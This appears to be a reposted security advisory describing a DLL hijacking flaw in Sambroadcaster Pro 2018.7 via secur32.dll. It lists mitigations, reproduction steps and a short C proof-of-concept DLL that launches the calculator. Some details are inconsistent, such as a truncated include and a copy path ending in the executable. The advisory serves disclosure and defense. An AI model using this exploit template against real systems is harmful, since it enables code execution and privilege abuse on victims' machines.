Sambroadcaster Pro 2018.7 – DLL Injection/Code Execution

A local Insecure Library Loading vulnerability has been discovered in the official Sambroadcaster Pro 2018.7 software. The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the affected software to followup with manipulations.

Vulnerable Software:
[+] Sambroadcaster Pro

Vulnerable version(s):
[+] 2018.7

Affected Libraries:
[+] secur32.dll

Date of Discovery:
==================

2018-08-12

Exploitation Technique:
=======================

Local

Platfom Tested:
===============

Windows 10

Solution – Fix & Patch:
=======================

1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):
=======================

A Local DLL Loading vulnerability that could allow an unauthenticated remote attacker to manipulate a specific DLL and execute arbitrary code on an affected system without the user’s knowledge. Example (trojan horse or a ransonmware) For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue

Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library to secur32.dll
3. Copy secur32.dll to C:\Program Files\SpacialAudio\SAMBC\SAMBC.exe
4. Launch SAMBC.exe
5. Now the calculator executes!

-- PoC Exploit --
#include 
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void HrCreateConverter() { evil(); }

int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}

Soyez le premier à commenter

Poster un Commentaire

Votre adresse de messagerie ne sera pas publiée.


*